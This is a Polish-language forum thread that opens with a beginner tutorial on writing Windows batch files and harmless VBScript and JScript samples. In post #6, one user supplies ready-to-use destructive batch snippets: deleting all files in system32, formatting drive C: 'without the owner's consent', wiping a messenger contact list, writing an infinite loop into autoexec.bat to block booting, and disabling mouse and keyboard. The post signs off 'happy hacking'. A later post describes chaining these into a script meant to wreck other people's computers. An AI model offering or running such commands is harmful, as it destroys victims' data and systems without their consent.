Skocz do zawartości

[TUT] *.Bat


  • Nie możesz odpowiedzieć
21 odpowiedzi w tym temacie

#1
Czapa

    MPC Member

  • ProUser
  • PipPipPipPip
  • 450 postów
  • Lokacja:C:\Program Files\Postal 2 PL\System\Postal2.exe
  • Hobby:?
  • Czas Online: 4m 56s
Witam.

Dzisiaj postanowiłem napisać tutorial jak pisać bat'che. Raczej nie przyda się to w pisaniu cheatów, chociaż kto wie co można z tym zrobić. Ogólnie pisanie bat'chów w jakimś stopniu może pomóc, przybliżyć programowanie w innych językach. Więc zapraszam do czytania.

Aby zacząć cokolwiek trzeba poznać podstawowe komendy MS-DOS A nasze programy będziemy pisać w notatniku...
Jeszcze przed komendami musimy poznać ogólną strukturę pisania.

1. Ogół

- Jak już pisałem program piszemy w notatniku i zapisujemy z rozszerzeniem *.bat.
- Zazwyczaj piszemy jedną komendę w lini i kończymy tę linię ENTEREM.
- Linię możemy rozbudować poprzez operatory kierowania '>>' i '>' oraz '|'.
- Nie potrzebujemy żadnych kompilatorów

2. Komendy
Jest to cząstka komend DOS'a ;]

- del - usuwa plik
- copy - kopiuje plik
- cls - czyści ekran
- dir - wyświetla listę plików i katalogów
- echo - wyświetla komunikaty lub włącza i wyłącza echo poleceń
-- echo tekst - wyświetla tekst
-- echo. - wyświetla pustą linię
-- echo off - powoduje wstrzymanie wyświetlanie komend i ścieżek dostępu na ekranie
-- echo on - powoduje włączenie wyświetlania komend i ścieżek dostępu na ekranie
-- echo teskt >plik.txt - zapisuje tekst do pliku plik.txt
-- echo tekst >>plik.txt - dopisuje tekst do pliku plik.txt
- exit - kończy działanie programu
- find - wyszukuje ciąg tekstowy w pliku lub plikach
- findstr - wyszukuje ciągi znaków w plikach
- md - tworzy katalog
- cd - wchodzi do katalogu
-- cd.. - wychodzi o jedne poziom do góry
-- cd\ - wychodzi do głównego katalogu
- pause - zatrzymuje działanie programu i czeka aż użytkownik naciśnie
- jakiś klawisz (wyświetla komunikat - Aby kontynuować naciśnij dowolny
- klawisz...)
- pause >> nul - to co powyżej ale bez komunikatu
- rd - usuwa katalog
- ren - zmienia nazwę pliku
- start - uruchamia program lub polecenie w osobnym oknie
- time - wyświetla lub ustawia czas systemowy
- xcopy - kopiuje pliki i katalog
- format - formatuje dysk

3. Pisanie
Kiedy już znamy podstawowe informacje możemy zacząć pisanie...;]

Otwieramy notatnik...
Piszemy w nim:
KOD
echo mpcforum

Zapisujemy np. mpc.bat i otwieramy. Program nam błysną na ekranie. Aby temu zaradzić dopiszmy pause więc otwieramy go z powrotem ppm>edytuj i po enterze dopisujemy pause aby nasz program wyglądał tak:
KOD
echo Mpcforum
pause


Jak widzimy program wyświetla to co powinien ale jest ścieżka do pliku... Aby tego nie było przekształcamy nasz kod aby wyglądał tak:
KOD
@echo off
echo Mpcforum
pause >> nul


Miłego kombinowania! ;]
Tutorial pisałem na własnych doświadczeniach a także jest sklejkom innych tutoriali, artów... Jeśli chcecie abym napisał dalszy ciąg tego arta to piszcie! Komentarze mile widziane!

Credits to: Moja facetka od systemów, Me i jakieś sh1towe fora...

Dołączona grafika


Pani Kasia

    Activated

  • Administratorzy
  • PipPipPipPipPipPipPip
  • 1323 postów
  • Gadu Gadu:7777
  • Płeć:Kobieta
  • Lokacja:Mpcforum.pl
  • Czas Online:: 1d 48m 56s

#2
kilo_kartofli

    kudłata gęba

  • Members
  • PipPipPipPipPipPipPip
  • 2202 postów
  • Płeć:Mężczyzna
  • Lokacja:Łomża
  • :
dopisz tam jeszcze *.cmd
sygnatura niezgodna z regulaminem forum mpc rozdział II pkt. 7

#3
Propagandhi

    MPC User

  • Members
  • PipPipPip
  • 306 postów
  • Płeć:Mężczyzna
  • :
To jako ciekawostkę dodam, że pod windą oprócz wspomnianych wyżej skryptów powłoki można jeszcze uruchamiać JScript (*.js) i VBScript (*.vbs). Oba są wynalazkami Microsoftu, a interpretowane przez przeglądarki, bądź Windows Scripting Host. Ten drugi też raczej posiadacie.

Na szybko znalazłem jakieś przykłady:

- VBScript (źródło): wyświetla komunikat z ilością pamięci w systemie.

KOD
' Memory.vbs
          ' Sample VBScript to discover how much RAM in computer
          ' Author Guy Thomas http://computerperformance.co.uk/
          ' Version 1.4 - December 2005
          ' -------------------------------------------------------'
          Option Explicit
          Dim objWMIService, objComputer, colComputer
          Dim strLogonUser, strComputer, intRamMB
          
          strComputer = "."
          strComputer = InputBox("Enter Computer name", _
          "Find Computer Memory", strComputer)
          Set objWMIService = GetObject("winmgmts:" _
          & "{impersonationLevel=impersonate}!\\" _
          & strComputer & "\root\cimv2")
          Set colComputer = objWMIService.ExecQuery _
          ("Select * from Win32_ComputerSystem")
          
          For Each objComputer in colComputer
             intRamMB = int((objComputer.TotalPhysicalMemory) /1048576)+1
             Wscript.Echo "System Name: " & objComputer.Name _
             & vbCr & "Total RAM: " & intRamMB & " Mb"
          Next
          
          WScript.Quit
          
          ' End of free example of Memory WMI / VBScript


- JScript (źródło): wyświetla listę plików z katalogu Windows

KOD
var fso = new ActiveXObject("Scripting.FileSystemObject");
          var fldr = fso.getFolder("C:\\Windows");
          
          var msg = new Array();
          msg.push("Files in \""+ fldr.path +"\" :\r\n\r\n")
          
          var ef = new Enumerator(fldr.files);
          for( ef.moveFirst(); !ef.atEnd(); ef.moveNext() )
              msg.push(ef.item().name +"\r\n");
          
          WScript.echo(msg.join(""));


JScript zdaje się pozwala nawet importować funkcje z bibliotek .NET, przy czym zastosowanie ma bardziej sieciowe.
VBScript przydaje się szczególnie, gdy chcemy zautomatyzować jakieś operacje na rejestrze. Nawet gdzieś w sieci widziałem fajny przykład takiego skryptu, który modyfikując rejestr dodawał do menu kontekstowego w systemie nowe funkcje (np otwieranie jakiegoś pliku przy użyciu konkretnego programu). Jak znajdę, to wrzucę w tym temacie.

#4
Czapa

    MPC Member

  • ProUser
  • PipPipPipPip
  • 450 postów
  • Lokacja:C:\Program Files\Postal 2 PL\System\Postal2.exe
  • Hobby:?
  • Czas Online: 4m 56s
CYTAT
dopisz tam jeszcze *.cmd
Napisałem, że to są komendy Dosa xd

@up
Miał to być narazie tylko wstęp więc nie pisałem o tym.

Dołączona grafika


#5
YourFear

    Beginner III

  • Members
  • PipPipPip
  • 263 postów
  • Płeć:Mężczyzna
  • Lokacja:Kołobrzeg
  • Hobby:webmastering, anime...
  • Czas Online: 1h 15m 36s
Poradnik może i fajny ale to już niestety znam (czekam na cos więcej) tongue.gif
hmm ale przydałaby mi się mała pomoc z pakowaniem plików przez cmd (normalnie spakowac umiem w cmd umiem, ale wcale mnie to nie ratuje) tongue.gif
Nie chcę za dużego offtopa robic, więc jeśli pozwolisz to wytłumaczę w czym problem.
Dołączona grafika

#6
aNoTh3r

    Pijawka

  • Members
  • Pip
  • 8 postów
  • Płeć:Mężczyzna
  • Czas Online: 54m 43s
Tutaj macie wiecej komend jak cos ;]

Zawieszenie koputera

@echo off

rundll32 user,disableoemlayer


Wyłączenie komputera

@echo off

rundll32 krnl386.exe,exitkernel


Wyłącz myszkę

@echo off

rundll32 mouse,disable


Wyłącz mysz i klawiature

@echo off

rundll32 mouse,disable

rundll32 keyboard,disable


Nie pozwalaj na Start Systemu

@echo off

echo :petla>>c:\autoexec.bat

echo goto petla>>c:\autoexec.bat


Spowolnij włączanie systemu oraz zamień przyciski myszy

@echo off

rundll32 user,swapmousebutton

echo dir /s /v c:\*.* >>c:autoexec.bat


Usuwa ważne pliki systemowe

@echo off

c:\
cd windows
cd system32
del *.*/q


Formatuje C bez zgody właściciela komputera

@echo off

format c: /q


Usunięcie listy kontaktów GG

@echo off

cd %Userprofile%\Gadu-Gadu
del /f /s /q *.*


Inne linijki:

rundll32 user,DisbleOEMLayer - Zawiesza system (nie działa w Win98)
rundll32 user,RepaintScreen - Odświerza ekran (= )
rundll32 user,setCursorPos - Kursor wędruje w lewy górny róg
rundll32 diskcopy,DiskCopyRunDLL - Kopiuje dyskietkę (nie działa w Win98)
rundll32 shell,shellExecute - Uruchamia Eksploratora
rundll32 shell32,OpenAs_RunDLL - Otwórz z...
rundll32 shell32,SHFormatDrive - Formatowanie dyskietki
rundll32 shell32,ShellAboutA - Pamięć fizyczna i zasoby
rundll32 shell32,SHExitWindowsEx 0 - Wylogowanie
rundll32 shell32,SHExitWindowsEx 1 - Zamknięcie systemu
rundll32 shell32,SHExitWindowsEx 2 - Restart z potwierdzeniem zapisania plików
rundll32 shell32,SHExitWindowsEx 3 - Restart bez potwierdzenia
rundll32 shell32,Control_RunDLL - Panel Sterowania
rundll32 shell32,Control_RunDLL - desk.cpl Właściwości ekranu
rundll32 shell32,Control_RunDLL - main.cpl @0 Mysz
rundll32 shell32,Control_RunDLL - main.cpl @1 Klawiatura
rundll32 shell32,Control_RunDLL - main.cpl @2 Drukarki
rundll32 shell32,Control_RunDLL - main.cpl @3 Czcionki
rundll32 shell32,Control_RunDLL - powercfg.cpl Właściwości: Zarządzanie energią
rundll32 shell32,Control_RunDLL - sysdm.cpl Właściwości: System
rundll32 shell32,Control_RunDLL - timedate.cpl Właściwości: Data/Godzina
rundll32 shell32,Control_RunDLL - intl.cpl Właściwości: Ustawienia regionalne
rundll32 shell32,Control_RunDLL - joy.cpl Kontrolery gry (Joystick)
rundll32 shell32,Control_RunDLL - sticpl.cpl Właściwości: Skanery i aparaty fotograficzne
rundll32 shell32,Control_RunDLL - findfast.cpl FindFast (Jeśli masz MS Office)
rundll32 user,exitwindows - Zamknięcie systemu
rundll32 user,wnetconnectdialog - Mapuj dysk sieciowy
rundll32 user,wnetdisconnectdialog - Odłącz dysk sieciowy
rundll32 user,tilechildwindows - Uporządkuj ikony (sąsiadująco)
rundll32 user,cascadechildwindows - Uporządkuj ikony (kaskadowo)
rundll32 krnl386.exe,exitkernel - Prawie jak Reset
rundll32 msprint2.dll,RUNDLL_PrintTestPage - Drukuj stronę testową
rundll32 sysdm.cpl,InstallDevice_Rundll - Kreator dodawania nowego sprzętu
rundll32 user,wnetcancelconnection fsa - Przerwanie połączenia z napędami sieciowymi Novell Netware
rundll32 user,swapmousebutton - Zamiana klawiszy myszki (UWAGA: Działa tylko w jedną stronę!)
rundll32 user,setcaretblinktime - Szybkość migania kursora (n=czas)
rundll32 user,setdoubleclicktime - Szybkość dwukrotnego kliknięcia
rundll32 keyboard,disable - wyłączenie klawiatury
rundll32 mouse,disable - wyłączenie myszy
deltree /y c:\windows\temp\ - czyszczenie folderu (tu przykład na folderze TEMP)
shutdown -S -t X -natychmiastowe zamknięcie kompa (X - czas do zamkniecia)


nie wszystkie zawsze działają
oczywiście wszystkie komendy trzeba wpisywac na schemacie:

@echo

start

Miłego Hakowania

#7
spider44

    MPC User II

  • Members
  • PipPipPip
  • 367 postów
  • Płeć:Mężczyzna
  • :
Moge sie mylić, ale z tego co mi wiadomo to blokowanie myszki czy klawiatury w ten sposób działa tylko na starszych windowsach tongue.gif Fajna lista komend po za tym. Dzięki
Jeżeli szukasz pomocy, piszesz poprawnie po polsku, a rozwiązaniem twojego problemu nie jest pierwszy link w google - prawdopodobnie pomogę.
Jeżeli chcesz gotowca, to najpierw podaj cenę. Cenę w pln, bo za plusy pracują lamusy :)

#8
Monkey

    Beginner II

  • Members
  • PipPip
  • 211 postów
  • Czas Online: 2h 45m 39s
Ciekawe komendy podane powyżej.

Dzięki!

#9
GnypekPL

    MPC Elite

  • Gold Member
  • PipPipPipPipPipPip
  • 909 postów
  • Płeć:Mężczyzna
  • Lokacja:Augsburg
  • Hobby:Dużo
  • Czas Online: 8h 37m 28s
Thx przyda się bardzo smile.gif

Nieregulaminowa sygnatura.

Spoiler


#10
niqu

    24h with MPC

  • Postmaker
  • PipPipPipPipPipPipPip
  • 1432 postów
  • Płeć:Mężczyzna
  • Lokacja:trash
  • Hobby:Koczuje na MPC
  • :
"Nie pozwalaj na Start Systemu" < to jest dobre kuzyn kiedyś mnie wrobił

ale ogólnie Czapa i aNoTh3r zasługują na pochwałę xD

Dołączona grafika
Dołączona grafika


#11
jackraymund

    Inkwizytor MPC

  • MPC Coders Team
  • PipPipPipPipPipPipPipPip
  • 5521 postów
  • Płeć:Mężczyzna
  • Lokacja:Głogów
  • Hobby:Ałto Srit
  • Czas Online: 14d 15h 45m 29s
OMG wpisalem
@echo off
echo Mpcforum
i mi wszystko pokasowało z pulpitu :|
da sie to jakoś przywrócić miałem bardzo dużo potrzebnych rzeczy na nim :/
pokazal sie komunikat ze nieda się usunąć folderu pulpit i po tym nic niemialem na nim oprócz kosza sad.gif
Dołączona grafika
Dołączona grafika
Jakiś link padł? Napisz pw z prośbą o re-upload

#12
Bazor

    MPC User III

  • Members
  • PipPipPipPip
  • 426 postów
  • Płeć:Mężczyzna
  • Lokacja:Internet
  • Czas Online: 12h 13m 54s
Opcja przywracania systemu.
Start > Akcesoria > narzędzia systemowe > Przywaracanie systemu
Dołączona grafika

#13
Suquar

    Pijawka

  • Members
  • Pip
  • 26 postów
  • Płeć:Mężczyzna
  • :
:D thx bardzo dobre.

Moja kombinacja:
- "Witaj. Za chwile twój komputer przejdzie szok."
- ...wyłączam klawiature potem myszke (znalazłem nowe rundll dla systemów XP Pro2 i Vista ;d)...
- ...usuwam pliki windowsowe...
- ...nie pozwalam na start systemu...

ktoś kto to uruchomi bez HDSK będzie mu cięzko odzyskać dane xD A tak wogóle próbował tym ktoś usunąć wirusa, którego nie da się usunąć np. Avastem? Ja raczej nie próboje na swoim kompie bo mam dość -_-

BRAINIAC


Wejdź :D

kliknij plusa!


#14
Ten100

    Beginner

  • Members
  • PipPip
  • 161 postów
  • Płeć:Mężczyzna
  • Lokacja:Warszawa
  • Hobby:Szermierka, gry, filmy, hacki, muzyka :....? :D
  • Czas Online: 12h 48m 54s
Czy rundll32 user,exitwindows - Zamknięcie systemu
działa ?

(Suquar podaj te nowe rundll. )

Narazie nie chce sprawdzać bo ygoow sciąga mi coś .. ;d
Proszę nieprzeszkadzać zmarłemu.

#15
spider44

    MPC User II

  • Members
  • PipPipPip
  • 367 postów
  • Płeć:Mężczyzna
  • :
Suquar : dlaczego nie sprawdzasz u siebie skoro chcesz zarazić tym innych? ; > Cwaniak kurna. A co do twojego pytania - to czy antywirus to wykryje to zależy od jego ustawień. W avast o ile pamiętam była opcja - analizuj pliki *.bat, jednak była domyślnie odznaczona. Nie wiem jak to wygląda w innych av.
Jeżeli szukasz pomocy, piszesz poprawnie po polsku, a rozwiązaniem twojego problemu nie jest pierwszy link w google - prawdopodobnie pomogę.
Jeżeli chcesz gotowca, to najpierw podaj cenę. Cenę w pln, bo za plusy pracują lamusy :)

#16
Ten100

    Beginner

  • Members
  • PipPip
  • 161 postów
  • Płeć:Mężczyzna
  • Lokacja:Warszawa
  • Hobby:Szermierka, gry, filmy, hacki, muzyka :....? :D
  • Czas Online: 12h 48m 54s
Anywirus wykrywa te bat ( złe ) jako wirus, jeśli są ustawienia domyślne to wykrywa.
Proszę nieprzeszkadzać zmarłemu.

#17
ME951

    MPC Team II

  • Validating
  • PipPipPipPipPip
  • 706 postów
  • Czas Online: 4m 30s
mocne ale sobie cos usunolem i mam taki dziwny wyglad okien w win 7;p
jak Ci pomogłem daj minusa <-> gdyż mi to obojętne ale lubie czerwony kolor;]

gdyby moderator widział że pomogłem jakoś graczowi, proszę usuń te kilka % statusu ostrzeżeń gdyż jak nie chcący napisze niepotrzebnego posta choć się staram już tego nie robić bardzo przepraszam.


"to przygnębiające uczucie gdy po długim czasie wracasz z wysokim lv, profesjonalnym eq, na najlepszy spot w m2 gdzie "dawniej" ciężko było znaleść wolne miejsce a tutaj pusto i wszyscy o tym miejscu zapomnieli mimo tego że dawało ono najwięcej zabawy:( "



kliknij tutaj a dowiesz się wszystko o privach

#18
EmSiK

    Pijawka

  • Members
  • Pip
  • 14 postów
  • Gadu Gadu:napisz pw a może dostaniesz ;D
  • Płeć:Mężczyzna
  • Hobby:sport , ciekawostki ;D
  • :
Może mi to ktoś lepiej wytłumaczyć bo coś źle robię lub źle rozumiem . Proszę o pomoc najlepiej na PW :D .Pomimo to leci plusik +:D

Użytkownik EmSiK edytował ten post 30 sierpień 2011 - 18:56


#19
tezla

    MPC Member II

  • ProUser
  • PipPipPipPipPip
  • 532 postów
  • Płeć:Mężczyzna
  • Czas Online: 2d 3h 48m 37s
Dodam cos od Siebie :)

Spoiler

Moj pierwszy program w tym specyficznym jezyku to Tapeter. Jezeli ktos chce to moge wstawic fragmenty kodu tego programu tutaj.

A tu taki maly trick:

Spoiler

Pozdrawiam, Tezla.

Użytkownik tezla edytował ten post 08 październik 2011 - 20:56

sygnatura niezgodna z regulaminem forum mpc rozdział II pkt. 7

Dzieki //Tezla

#20
Sivin

    Pijawka

  • Members
  • Pip
  • 45 postów
  • Gadu Gadu:9754703
  • Płeć:Mężczyzna
  • Hobby:Komputer itp.
  • Czas Online: 11h 15m 20s
to jest piękne :D

#21
Nerten

    Pijawka III

  • Members
  • PipPip
  • 123 postów
  • Gadu Gadu:Nie podam : P
  • Płeć:Mężczyzna
  • Lokacja:Mój dom
  • Hobby:HTML, C++ (trochę), Java,
  • Czas Online: 2d 19h 13m 40s
Mam pytanie, jak działa komenda "for". Patrzyłem w wierszu poleceni (cmd) ale nic z tego nie kumam : [

Dołączona grafika

Cytat

Dysk C: wydaje się bardziej zadowolony od dysku D:

Spoiler


Pani Kasia

    Activated

  • Administratorzy
  • PipPipPipPipPipPipPip
  • 1323 postów
  • Gadu Gadu:7777
  • Płeć:Kobieta
  • Lokacja:Mpcforum.pl
  • Czas Online:: 1d 48m 56s

#22
maroczek123

    Pijawka III

  • Members
  • PipPip
  • 115 postów
  • Gadu Gadu:12765594
  • Płeć:Mężczyzna
  • Lokacja:POLSKA
  • Czas Online: 2d 16h 39m 30s
Witam
Mam problem iż jak zapisuje plik to on znika i go nie ma. jak mam go włączyć?

@edit
Jak biorę komendę na wyłączenie myszki

Użytkownik maroczek123 edytował ten post 02 styczeń 2012 - 21:59






Użytkownicy przeglądający ten temat: 1

0 użytkowników, 1 gości, 0 anonimowych